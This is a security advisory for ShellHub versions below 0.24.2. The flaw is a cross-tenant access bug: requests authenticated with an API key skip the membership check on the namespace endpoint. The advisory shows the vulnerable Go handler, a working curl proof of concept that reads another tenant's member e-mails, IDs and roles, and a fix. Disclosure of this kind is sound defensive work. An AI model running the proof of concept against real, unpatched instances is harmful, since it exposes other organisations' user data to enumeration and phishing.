GHSA-vwx9-7qcf-gg7f
ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/shellhub-io/shellhub | < 0.24.2 | 0.24.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.
The handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.
## Affected versions
ShellHub Community v0.24.1 (validated).
## Root cause
`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:
```go
var uid string
if c.ID() != nil {
uid = c.ID().ID
}
ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
return c.NoContent(http.StatusNotFound)
}
if uid != "" { // ⚠️ skipped when API Key is used
if _, ok := ns.FindMember(uid); !ok {
return c.NoContent(http.StatusForbidden)
}
}
return c.JSON(http.StatusOK, ns)
```
`AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,
and `X-API-KEY` for API Key authentication — never `X-ID`. So
`c.Request().Header.Get("X-ID")` returns `""`, `c.ID()` returns `nil`, and
the membership check is bypassed.
## Proof of concept (validated live against v0.24.1)
```bash
# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc","expires_at":30}' | jq -r .id)
# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
-H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)
# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
-H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
# settings, max_devices, devices_accepted_count, type, created_at}
```
## Impact
- Enumeration of any ShellHub namespace by tenant UUID.
- Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
- Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.
## Suggested fix
Two layers:
1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:
```go
// nsadm.go GetNamespace
if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
return c.NoContent(http.StatusForbidden)
}
```
References
External links from the advisory. They lead to third-party sites.